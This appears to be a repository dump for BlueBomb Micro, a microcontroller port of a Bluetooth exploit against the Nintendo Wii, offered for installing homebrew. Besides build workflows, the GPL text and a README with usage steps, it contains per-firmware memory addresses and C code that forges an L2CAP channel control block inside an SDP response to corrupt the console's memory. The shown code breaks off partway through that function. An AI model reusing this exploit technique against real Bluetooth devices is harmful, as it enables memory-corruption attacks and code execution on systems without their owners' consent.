├── .github └── workflows │ ├── esp32.yml │ └── pico_w.yml ├── .gitignore ├── .gitmodules ├── LICENSE.md ├── README.md ├── cmake ├── bin2list.sh ├── l2cb.c.in ├── l2cb.cmake └── l2cb_list.cmake ├── components └── bluebomb_micro │ ├── CMakeLists.txt │ ├── bluebomb_micro.c │ ├── bluebomb_micro.h │ ├── stage0_bin.h │ └── stage1_bin.h └── ports ├── esp32 ├── .gitignore ├── CMakeLists.txt ├── README.md ├── main │ ├── CMakeLists.txt │ ├── Kconfig.projbuild │ └── main.c └── sdkconfig └── pico_w ├── .gitignore ├── CMakeLists.txt ├── README.md ├── btstack_config.h ├── build_all.sh ├── main.c └── pico_sdk_import.cmake /.github/workflows/esp32.yml: -------------------------------------------------------------------------------- 1 | name: Build (ESP32) 2 | 3 | on: [push, pull_request] 4 | 5 | jobs: 6 | build-binary: 7 | runs-on: ubuntu-latest 8 | steps: 9 | - name: Checkout BlueBomb Micro 10 | uses: actions/checkout@v4 11 | with: 12 | path: bluebomb_micro 13 | submodules: recursive 14 | 15 | - name: Checkout ESP-IDF 16 | uses: actions/checkout@v4 17 | with: 18 | repository: espressif/esp-idf 19 | ref: master 20 | path: esp-idf 21 | submodules: recursive 22 | 23 | - name: Setup ESP-IDF 24 | run: | 25 | sudo apt-get install -y git wget flex bison gperf python3 python3-pip python3-venv cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0 26 | cd ${{github.workspace}}/esp-idf 27 | ./install.sh 28 | 29 | - name: Integrate btstack 30 | run: | 31 | cd ${{github.workspace}}/bluebomb_micro/external/btstack/port/esp32 32 | . ${{github.workspace}}/esp-idf/export.sh 33 | ./integrate_btstack.py 34 | 35 | - name: Build target 36 | run: | 37 | cd ${{github.workspace}}/bluebomb_micro/ports/esp32 38 | . ${{github.workspace}}/esp-idf/export.sh 39 | idf.py build -DBLUEBOMB_TARGET="WII_SM4_3J" 40 | -------------------------------------------------------------------------------- /.github/workflows/pico_w.yml: -------------------------------------------------------------------------------- 1 | name: Build (Pico W) 2 | 3 | on: [push, pull_request] 4 | 5 | jobs: 6 | build-binary: 7 | runs-on: ubuntu-latest 8 | steps: 9 | - name: Checkout BlueBomb Micro 10 | uses: actions/checkout@v4 11 | with: 12 | path: bluebomb_micro 13 | submodules: recursive 14 | 15 | - name: Checkout pico-sdk 16 | uses: actions/checkout@v4 17 | with: 18 | repository: raspberrypi/pico-sdk 19 | ref: master 20 | path: pico-sdk 21 | submodules: recursive 22 | 23 | - name: Setup pico-sdk 24 | run: | 25 | sudo apt install -y cmake gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib 26 | 27 | - name: Build all targets (Pico W) 28 | run: | 29 | export PICO_SDK_PATH=${{github.workspace}}/pico-sdk 30 | cd ${{github.workspace}}/bluebomb_micro/ports/pico_w 31 | PICO_BOARD=pico_w BUILD_DIR=build_pico_w ./build_all.sh 32 | 33 | - name: Build all targets (Pico 2 W) 34 | run: | 35 | export PICO_SDK_PATH=${{github.workspace}}/pico-sdk 36 | cd ${{github.workspace}}/bluebomb_micro/ports/pico_w 37 | PICO_BOARD=pico2_w BUILD_DIR=build_pico2_w ./build_all.sh 38 | 39 | - name: Prepare artifacts 40 | run: | 41 | cd ${{github.workspace}}/bluebomb_micro 42 | mv external/btstack/LICENSE LICENSE.btstack 43 | 44 | - name: Upload artifacts (Pico W) 45 | uses: actions/upload-artifact@v4 46 | with: 47 | name: bluebomb_micro_pico_w_artifacts 48 | path: | 49 | ${{github.workspace}}/bluebomb_micro/ports/pico_w/build_pico_w/*.uf2 50 | ${{github.workspace}}/bluebomb_micro/LICENSE.btstack 51 | 52 | - name: Upload artifacts (Pico 2 W) 53 | uses: actions/upload-artifact@v4 54 | with: 55 | name: bluebomb_micro_pico2_w_artifacts 56 | path: | 57 | ${{github.workspace}}/bluebomb_micro/ports/pico_w/build_pico2_w/*.uf2 58 | ${{github.workspace}}/bluebomb_micro/LICENSE.btstack 59 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/ -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "external/btstack"] 2 | path = external/btstack 3 | url = https://github.com/GaryOderNichts/btstack 4 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | ### GNU GENERAL PUBLIC LICENSE 2 | 3 | Version 3, 29 June 2007 4 | 5 | Copyright (C) 2007 Free Software Foundation, Inc. 6 | 7 | 8 | Everyone is permitted to copy and distribute verbatim copies of this 9 | license document, but changing it is not allowed. 10 | 11 | ### Preamble 12 | 13 | The GNU General Public License is a free, copyleft license for 14 | software and other kinds of works. 15 | 16 | The licenses for most software and other practical works are designed 17 | to take away your freedom to share and change the works. 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If your rights have been terminated and not permanently 428 | reinstated, you do not qualify to receive new licenses for the same 429 | material under section 10. 430 | 431 | #### 9. Acceptance Not Required for Having Copies. 432 | 433 | You are not required to accept this License in order to receive or run 434 | a copy of the Program. Ancillary propagation of a covered work 435 | occurring solely as a consequence of using peer-to-peer transmission 436 | to receive a copy likewise does not require acceptance. However, 437 | nothing other than this License grants you permission to propagate or 438 | modify any covered work. These actions infringe copyright if you do 439 | not accept this License. Therefore, by modifying or propagating a 440 | covered work, you indicate your acceptance of this License to do so. 441 | 442 | #### 10. Automatic Licensing of Downstream Recipients. 443 | 444 | Each time you convey a covered work, the recipient automatically 445 | receives a license from the original licensors, to run, modify and 446 | propagate that work, subject to this License. You are not responsible 447 | for enforcing compliance by third parties with this License. 448 | 449 | An "entity transaction" is a transaction transferring control of an 450 | organization, or substantially all assets of one, or subdividing an 451 | organization, or merging organizations. If propagation of a covered 452 | work results from an entity transaction, each party to that 453 | transaction who receives a copy of the work also receives whatever 454 | licenses to the work the party's predecessor in interest had or could 455 | give under the previous paragraph, plus a right to possession of the 456 | Corresponding Source of the work from the predecessor in interest, if 457 | the predecessor has it or can get it with reasonable efforts. 458 | 459 | You may not impose any further restrictions on the exercise of the 460 | rights granted or affirmed under this License. For example, you may 461 | not impose a license fee, royalty, or other charge for exercise of 462 | rights granted under this License, and you may not initiate litigation 463 | (including a cross-claim or counterclaim in a lawsuit) alleging that 464 | any patent claim is infringed by making, using, selling, offering for 465 | sale, or importing the Program or any portion of it. 466 | 467 | #### 11. Patents. 468 | 469 | A "contributor" is a copyright holder who authorizes use under this 470 | License of the Program or a work on which the Program is based. The 471 | work thus licensed is called the contributor's "contributor version". 472 | 473 | A contributor's "essential patent claims" are all patent claims owned 474 | or controlled by the contributor, whether already acquired or 475 | hereafter acquired, that would be infringed by some manner, permitted 476 | by this License, of making, using, or selling its contributor version, 477 | but do not include claims that would be infringed only as a 478 | consequence of further modification of the contributor version. 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No Surrender of Others' Freedom. 537 | 538 | If conditions are imposed on you (whether by court order, agreement or 539 | otherwise) that contradict the conditions of this License, they do not 540 | excuse you from the conditions of this License. If you cannot convey a 541 | covered work so as to satisfy simultaneously your obligations under 542 | this License and any other pertinent obligations, then as a 543 | consequence you may not convey it at all. For example, if you agree to 544 | terms that obligate you to collect a royalty for further conveying 545 | from those to whom you convey the Program, the only way you could 546 | satisfy both those terms and this License would be to refrain entirely 547 | from conveying the Program. 548 | 549 | #### 13. Use with the GNU Affero General Public License. 550 | 551 | Notwithstanding any other provision of this License, you have 552 | permission to link or combine any covered work with a work licensed 553 | under version 3 of the GNU Affero General Public License into a single 554 | combined work, and to convey the resulting work. The terms of this 555 | License will continue to apply to the part which is the covered work, 556 | but the special requirements of the GNU Affero General Public License, 557 | section 13, concerning interaction through a network will apply to the 558 | combination as such. 559 | 560 | #### 14. Revised Versions of this License. 561 | 562 | The Free Software Foundation may publish revised and/or new versions 563 | of the GNU General Public License from time to time. Such new versions 564 | will be similar in spirit to the present version, but may differ in 565 | detail to address new problems or concerns. 566 | 567 | Each version is given a distinguishing version number. If the Program 568 | specifies that a certain numbered version of the GNU General Public 569 | License "or any later version" applies to it, you have the option of 570 | following the terms and conditions either of that numbered version or 571 | of any later version published by the Free Software Foundation. If the 572 | Program does not specify a version number of the GNU General Public 573 | License, you may choose any version ever published by the Free 574 | Software Foundation. 575 | 576 | If the Program specifies that a proxy can decide which future versions 577 | of the GNU General Public License can be used, that proxy's public 578 | statement of acceptance of a version permanently authorizes you to 579 | choose that version for the Program. 580 | 581 | Later license versions may give you additional or different 582 | permissions. However, no additional obligations are imposed on any 583 | author or copyright holder as a result of your choosing to follow a 584 | later version. 585 | 586 | #### 15. Disclaimer of Warranty. 587 | 588 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 589 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 590 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT 591 | WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT 592 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 593 | A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND 594 | PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE 595 | DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR 596 | CORRECTION. 597 | 598 | #### 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR 602 | CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 603 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES 604 | ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT 605 | NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR 606 | LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM 607 | TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER 608 | PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 609 | 610 | #### 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | ### How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these 626 | terms. 627 | 628 | To do so, attach the following notices to the program. It is safest to 629 | attach them to the start of each source file to most effectively state 630 | the exclusion of warranty; and each file should have at least the 631 | "copyright" line and a pointer to where the full notice is found. 632 | 633 | 634 | Copyright (C) 635 | 636 | This program is free software: you can redistribute it and/or modify 637 | it under the terms of the GNU General Public License as published by 638 | the Free Software Foundation, either version 3 of the License, or 639 | (at your option) any later version. 640 | 641 | This program is distributed in the hope that it will be useful, 642 | but WITHOUT ANY WARRANTY; without even the implied warranty of 643 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 644 | GNU General Public License for more details. 645 | 646 | You should have received a copy of the GNU General Public License 647 | along with this program. If not, see . 648 | 649 | Also add information on how to contact you by electronic and paper 650 | mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands \`show w' and \`show c' should show the 661 | appropriate parts of the General Public License. Of course, your 662 | program's commands might be different; for a GUI interface, you would 663 | use an "about box". 664 | 665 | You should also get your employer (if you work as a programmer) or 666 | school, if any, to sign a "copyright disclaimer" for the program, if 667 | necessary. For more information on this, and how to apply and follow 668 | the GNU GPL, see . 669 | 670 | The GNU General Public License does not permit incorporating your 671 | program into proprietary programs. If your program is a subroutine 672 | library, you may consider it more useful to permit linking proprietary 673 | applications with the library. If this is what you want to do, use the 674 | GNU Lesser General Public License instead of this License. But first, 675 | please read . 676 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BlueBomb Micro (BlueBomb for embedded systems) 2 | This is a port of [BlueBomb](https://github.com/Fullmetal5/bluebomb) for BlueKitchen's [btstack](https://github.com/bluekitchen/btstack), which runs on various embedded systems and microcontrollers. 3 | 4 | ## Get started 5 | Follow the guide for one of the supported systems below to set up BlueBomb Micro for your microcontroller. 6 | 7 | ### Supported systems 8 | - [Raspberry Pi Pico W / Pico 2 W](ports/pico_w/) 9 | - [ESP32](ports/esp32/) 10 | 11 | ### Usage 12 | 1. Make sure your microcontroller is plugged in and BlueBomb Micro running. 13 | If your microcontroller has an LED, it will be slowly flashing at this point. 14 | 1. Start your Wii and navigate to the app that you are exploiting, for the System Menu you only need to turn on the Wii, you can leave it sitting on the Health and Safety screen. 15 | 1. __Turn OFF your wiimote at this point. DO NOT let anything else connect to the console via bluetooth.__ 16 | 1. Make sure you console is close to your microcontroller. You may have to move it closer to get it in range, this will depend on your microcontroller. 17 | 1. Click the SYNC button on your console. You may have to click it several times in a row before it sees the microcontroller. 18 | If your microcontroller has an LED, you will know it is connected when the LED starts flashing quickly. 19 | Stop pushing the SYNC button and wait for bluebomb to run. 20 | BlueBomb Micro will load a `boot.elf` off the root of a FAT32 formatted USB drive and run it. You can use the HackMii Installer's boot.elf from [here](https://bootmii.org/download/) to get the Homebrew Channel. 21 | 22 | ## Credits 23 | - [@Fullmetal5](https://github.com/Fullmetal5) for BlueBomb 24 | - [BlueKitchen](https://bluekitchen-gmbh.com/) for their btstack 25 | -------------------------------------------------------------------------------- /cmake/bin2list.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "# This file was generated by running the bin2list.sh script in bluebombs stage0 folder" 3 | echo "" 4 | for file in *_*_*.bin; do 5 | name=$(basename $file .bin) 6 | value=$(od -An -tx4 --endian=big $file | xargs) 7 | echo "set($name 0x$value)" 8 | echo "list(APPEND BLUEBOMB_L2CB_LIST $name)" 9 | done 10 | -------------------------------------------------------------------------------- /cmake/l2cb.c.in: -------------------------------------------------------------------------------- 1 | #include 2 | uint32_t bluebomb_l2cb = @BLUEBOMB_L2CB_VALUE@; 3 | -------------------------------------------------------------------------------- /cmake/l2cb.cmake: -------------------------------------------------------------------------------- 1 | # include the generated list 2 | set(L2CB_DIR ${CMAKE_CURRENT_LIST_DIR}) 3 | include(${L2CB_DIR}/l2cb_list.cmake) 4 | 5 | function(bluebomb_generate_l2cb bluebomb_target) 6 | set(BLUEBOMB_L2CB_VALUE "${${bluebomb_target}}") 7 | if (BLUEBOMB_L2CB_VALUE STREQUAL "") 8 | message(SEND_ERROR "Target must be one of ${BLUEBOMB_L2CB_LIST}") 9 | return() 10 | endif() 11 | 12 | message(STATUS "Target is ${bluebomb_target}, using L2CB value ${BLUEBOMB_L2CB_VALUE}") 13 | configure_file(${L2CB_DIR}/l2cb.c.in ${CMAKE_CURRENT_SOURCE_DIR}/l2cb.c) 14 | endfunction() 15 | -------------------------------------------------------------------------------- /cmake/l2cb_list.cmake: -------------------------------------------------------------------------------- 1 | # This file was generated by running the bin2list.sh script in bluebombs stage0 folder 2 | 3 | set(MINI_SM_NTSC 0x811725e0) 4 | list(APPEND BLUEBOMB_L2CB_LIST MINI_SM_NTSC) 5 | set(MINI_SM_PAL 0x81172620) 6 | list(APPEND BLUEBOMB_L2CB_LIST MINI_SM_PAL) 7 | set(WII_SM2_0E 0x81158580) 8 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM2_0E) 9 | set(WII_SM2_0J 0x81172bc0) 10 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM2_0J) 11 | set(WII_SM2_0U 0x81158740) 12 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM2_0U) 13 | set(WII_SM2_1E 0x81158580) 14 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM2_1E) 15 | set(WII_SM2_2E 0x81158580) 16 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM2_2E) 17 | set(WII_SM2_2J 0x81172bc0) 18 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM2_2J) 19 | set(WII_SM2_2U 0x81158580) 20 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM2_2U) 21 | set(WII_SM3_0E 0x81178ce0) 22 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_0E) 23 | set(WII_SM3_0J 0x811893e0) 24 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_0J) 25 | set(WII_SM3_0U 0x81178ce0) 26 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_0U) 27 | set(WII_SM3_1E 0x81178ce0) 28 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_1E) 29 | set(WII_SM3_1J 0x811893e0) 30 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_1J) 31 | set(WII_SM3_1U 0x81178ce0) 32 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_1U) 33 | set(WII_SM3_2E 0x81178ce0) 34 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_2E) 35 | set(WII_SM3_2J 0x811893e0) 36 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_2J) 37 | set(WII_SM3_2U 0x81178ce0) 38 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_2U) 39 | set(WII_SM3_3E 0x81178ce0) 40 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_3E) 41 | set(WII_SM3_3J 0x811893e0) 42 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_3J) 43 | set(WII_SM3_3U 0x81178ce0) 44 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_3U) 45 | set(WII_SM3_4E 0x811797a0) 46 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_4E) 47 | set(WII_SM3_4J 0x811893e0) 48 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_4J) 49 | set(WII_SM3_4U 0x811797a0) 50 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_4U) 51 | set(WII_SM3_5K 0x81177b20) 52 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM3_5K) 53 | set(WII_SM4_0E 0x81171de0) 54 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_0E) 55 | set(WII_SM4_0J 0x81181a20) 56 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_0J) 57 | set(WII_SM4_0U 0x81171de0) 58 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_0U) 59 | set(WII_SM4_1E 0x81171de0) 60 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_1E) 61 | set(WII_SM4_1J 0x81181a20) 62 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_1J) 63 | set(WII_SM4_1K 0x81170160) 64 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_1K) 65 | set(WII_SM4_1U 0x81171de0) 66 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_1U) 67 | set(WII_SM4_2E 0x81171de0) 68 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_2E) 69 | set(WII_SM4_2J 0x81181a20) 70 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_2J) 71 | set(WII_SM4_2K 0x81170160) 72 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_2K) 73 | set(WII_SM4_2U 0x81171de0) 74 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_2U) 75 | set(WII_SM4_3E 0x811725e0) 76 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_3E) 77 | set(WII_SM4_3J 0x81182220) 78 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_3J) 79 | set(WII_SM4_3K 0x81170960) 80 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_3K) 81 | set(WII_SM4_3U 0x811725e0) 82 | list(APPEND BLUEBOMB_L2CB_LIST WII_SM4_3U) 83 | -------------------------------------------------------------------------------- /components/bluebomb_micro/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Set required source files 2 | set(BLUEBOMB_SOURCE_FILES 3 | "bluebomb_micro.c" 4 | "stage0_bin.h" 5 | "stage1_bin.h" 6 | ) 7 | 8 | if (IDF_TARGET) 9 | # For ESP-IDF register a component 10 | idf_component_register(SRCS "${BLUEBOMB_SOURCE_FILES}" 11 | INCLUDE_DIRS "${CMAKE_CURRENT_SOURCE_DIR}" 12 | REQUIRES "btstack") 13 | elseif (PICO_SDK_VERSION_STRING) 14 | # For the pico add a library 15 | add_library(bluebomb_micro ${BLUEBOMB_SOURCE_FILES}) 16 | target_include_directories(bluebomb_micro PUBLIC 17 | "${CMAKE_CURRENT_SOURCE_DIR}" 18 | ) 19 | target_link_libraries(bluebomb_micro PUBLIC 20 | pico_stdlib 21 | pico_btstack_classic 22 | pico_btstack_cyw43 23 | pico_cyw43_arch_none 24 | ) 25 | endif() 26 | -------------------------------------------------------------------------------- /components/bluebomb_micro/bluebomb_micro.c: -------------------------------------------------------------------------------- 1 | #include "bluebomb_micro.h" 2 | #include 3 | #include "btstack.h" 4 | 5 | #include "stage0_bin.h" 6 | #include "stage1_bin.h" 7 | 8 | #ifndef L2CAP_EVENT_CONNECTION_RESPONSE 9 | #error "You need to use this custom BTStack fork for this, Sorry :( https://github.com/GaryOderNichts/btstack" 10 | #endif 11 | 12 | struct ccb { 13 | uint8_t in_use; 14 | uint32_t chnl_state; 15 | uint32_t p_next_ccb; 16 | uint32_t p_prev_ccb; 17 | uint32_t p_lcb; 18 | uint16_t local_cid; 19 | uint16_t remote_cid; 20 | // We only go up to the fields we care about, you should still leave the rest blank as there are some fields that should be just left zero after it like the timer object. 21 | }; 22 | 23 | struct l2cap_payload { 24 | uint8_t opcode; 25 | uint8_t id; 26 | uint16_t length; 27 | uint8_t data[]; 28 | } __attribute__ ((packed)); 29 | #define L2CAP_PAYLOAD_LENGTH 4 30 | 31 | struct l2cap_packet { 32 | uint16_t length; 33 | uint16_t cid; 34 | struct l2cap_payload payload; 35 | } __attribute__ ((packed)); 36 | #define L2CAP_HEADER_LENGTH 4 37 | #define L2CAP_OVERHEAD 8 38 | 39 | #define SDP_RESPONSE_BUFFER_SIZE (HCI_ACL_PAYLOAD_SIZE-L2CAP_HEADER_SIZE) 40 | 41 | /** 42 | * The default command format always writes 2 IACs, but we only want one 43 | * @param num_current_iac must be 1 44 | * @param iac_lap 45 | */ 46 | static const hci_cmd_t hci_write_current_iac_lap_one_iac = { 47 | HCI_OPCODE_HCI_WRITE_CURRENT_IAC_LAP_TWO_IACS, "13" 48 | }; 49 | 50 | static btstack_packet_callback_registration_t hci_event_callback_registration; 51 | 52 | int stage = STAGE_INIT; 53 | 54 | static uint16_t sdp_server_l2cap_cid; 55 | static uint16_t sdp_server_response_size; 56 | static uint8_t sdp_response_buffer[SDP_RESPONSE_BUFFER_SIZE]; 57 | 58 | static uint32_t L2CB = 0; 59 | 60 | static hci_con_handle_t con_handle = (hci_con_handle_t) -1; 61 | 62 | static btstack_timer_source_t stage0_timer; 63 | static int stage0_sent = 0; 64 | 65 | static int stage1_sent = 0; 66 | 67 | static inline uint32_t htobe32(uint32_t x) 68 | { 69 | if (btstack_is_big_endian()) { 70 | return x; 71 | } 72 | 73 | return ((((x) & 0xff000000) >> 24) | (((x) & 0x00ff0000) >> 8) | 74 | (((x) & 0x0000ff00) << 8) | (((x) & 0x000000ff) << 24)); 75 | } 76 | 77 | static inline uint16_t htobe16(uint16_t x) 78 | { 79 | if (btstack_is_big_endian()) { 80 | return x; 81 | } 82 | 83 | return btstack_flip_16(x); 84 | } 85 | 86 | static inline uint32_t htole32(uint32_t x) 87 | { 88 | if (btstack_is_little_endian()) { 89 | return x; 90 | } 91 | 92 | return ((((x) & 0xff000000) >> 24) | (((x) & 0x00ff0000) >> 8) | 93 | (((x) & 0x0000ff00) << 8) | (((x) & 0x000000ff) << 24)); 94 | } 95 | 96 | static inline uint16_t htole16(uint16_t x) 97 | { 98 | if (btstack_is_little_endian()) { 99 | return x; 100 | } 101 | 102 | return btstack_flip_16(x); 103 | } 104 | 105 | static inline uint16_t le16toh(uint16_t x) 106 | { 107 | if (btstack_is_little_endian()) { 108 | return x; 109 | } 110 | 111 | return btstack_flip_16(x); 112 | } 113 | 114 | static void hci_packet_handler(uint8_t packet_type, uint16_t channel, uint8_t* packet, uint16_t size) 115 | { 116 | UNUSED(channel); 117 | UNUSED(size); 118 | 119 | static int set_iac_lap = 0; 120 | 121 | // We only care about HCI packets 122 | if (packet_type != HCI_EVENT_PACKET) { 123 | return; 124 | } 125 | 126 | // printf("hci_packet_handler %x\n", hci_event_packet_get_type(packet)); 127 | 128 | switch(hci_event_packet_get_type(packet)) { 129 | case BTSTACK_EVENT_STATE: 130 | // Wait for the stack to enter the initializing state, before setting the IAC LAP 131 | if (btstack_event_state_get_state(packet) == HCI_STATE_WORKING) { 132 | set_iac_lap = 1; 133 | } 134 | break; 135 | case HCI_EVENT_COMMAND_COMPLETE: 136 | // Check IAC LAP result 137 | if (hci_event_command_complete_get_command_opcode(packet) == hci_write_current_iac_lap_one_iac.opcode) { 138 | uint8_t status = hci_event_command_complete_get_return_parameters(packet)[0]; 139 | printf("Set IAC LAP: %s\n", (status != ERROR_CODE_SUCCESS) ? "Failed" : "OK"); 140 | } 141 | break; 142 | case HCI_EVENT_CONNECTION_COMPLETE: 143 | con_handle = little_endian_read_16(packet, 3); 144 | printf("Got connection handle %d\n", con_handle); 145 | break; 146 | default: 147 | break; 148 | } 149 | 150 | // Write IAC LAP when ready 151 | if (set_iac_lap && hci_can_send_command_packet_now()) { 152 | set_iac_lap = 0; 153 | // Limited Inquiry Access Code 154 | hci_send_cmd(&hci_write_current_iac_lap_one_iac, 1, GAP_IAC_LIMITED_INQUIRY); 155 | 156 | // Set device discoverable now, to emit a write scan enable after IAC LAP is set 157 | gap_discoverable_control(1); 158 | } 159 | } 160 | 161 | static void bluebomb_reset(void) 162 | { 163 | printf("Resetting...\n"); 164 | 165 | if (sdp_server_l2cap_cid) { 166 | l2cap_disconnect(sdp_server_l2cap_cid); 167 | sdp_server_l2cap_cid = 0; 168 | } 169 | 170 | con_handle = (hci_con_handle_t) -1; 171 | 172 | stage0_sent = 0; 173 | stage1_sent = 0; 174 | stage = STAGE_INIT; 175 | } 176 | 177 | static uint8_t send_acl_packet(hci_con_handle_t handle, void* packet, uint32_t size) 178 | { 179 | if (!hci_can_send_acl_packet_now(handle)){ 180 | printf("send_acl_packet cannot send\n"); 181 | return BTSTACK_ACL_BUFFERS_FULL; 182 | } 183 | 184 | hci_reserve_packet_buffer(); 185 | 186 | // Copy packet to packet buffer 187 | uint8_t* acl_buffer = hci_get_outgoing_packet_buffer(); 188 | 189 | // 0 - Connection handle : PB_CB: 0 190 | little_endian_store_16(acl_buffer, 0u, handle | (0 << 12u)); 191 | // 2 - ACL length 192 | little_endian_store_16(acl_buffer, 2u, size + 4u); 193 | // 4 - payload 194 | memcpy(acl_buffer + 4, packet, size); 195 | 196 | // Send packet 197 | return hci_send_acl_packet_buffer(size + 4u); 198 | } 199 | 200 | static int sdp_create_error_response(uint16_t transaction_id, uint16_t error_code) 201 | { 202 | sdp_response_buffer[0] = SDP_ErrorResponse; 203 | big_endian_store_16(sdp_response_buffer, 1, transaction_id); 204 | big_endian_store_16(sdp_response_buffer, 3, 2); 205 | big_endian_store_16(sdp_response_buffer, 5, error_code); 206 | return 7; 207 | } 208 | 209 | static int sdp_handle_bluebomb_service_search_request(uint16_t remote_mtu) 210 | { 211 | printf("Preparing service search response\n"); 212 | 213 | uint16_t required_size = 1 + 2 + 2 + 2 + 2 + (0x15 * 4) + 1; 214 | uint32_t SDP_CB = L2CB + 0xc00; 215 | 216 | if (required_size > remote_mtu) { 217 | printf("required_size %d > remote_mtu %d\n", required_size, remote_mtu); 218 | bluebomb_reset(); 219 | return 0; 220 | } 221 | 222 | memset(&sdp_response_buffer[0], 0x00, required_size); 223 | 224 | struct ccb fake_ccb; 225 | memset(&fake_ccb, 0x00, sizeof(struct ccb)); 226 | fake_ccb.in_use = 1; 227 | fake_ccb.chnl_state = htobe32(0x00000002); // CST_TERM_W4_SEC_COMP 228 | fake_ccb.p_next_ccb = htobe32(SDP_CB + 0x68); 229 | fake_ccb.p_prev_ccb = htobe32(L2CB + 8 + 0x54 - 8); 230 | fake_ccb.p_lcb = htobe32(L2CB + 0x8); 231 | fake_ccb.local_cid = htobe16(0x0000); 232 | fake_ccb.remote_cid = htobe16(0x0000); // Needs to match the rcid sent in the packet that uses the faked ccb. 233 | 234 | sdp_response_buffer[0] = SDP_ServiceSearchResponse; 235 | big_endian_store_16(sdp_response_buffer, 1, 0x0001); // Transaction ID (ignored, no need to keep track of) 236 | big_endian_store_16(sdp_response_buffer, 3, 0x0059); // ParameterLength 237 | big_endian_store_16(sdp_response_buffer, 5, 0x0015); // TotalServiceRecordCount 238 | big_endian_store_16(sdp_response_buffer, 7, 0x0015); // CurrentServiceRecordCount 239 | 240 | uint16_t pos = 9; // ServiceRecordHandleList at 9 241 | memcpy(&sdp_response_buffer[0] + pos + (0xa * 4), &fake_ccb, sizeof(struct ccb)); pos += (0x15 * 4); 242 | sdp_response_buffer[pos++] = 0; // ContinuationState 243 | 244 | stage = 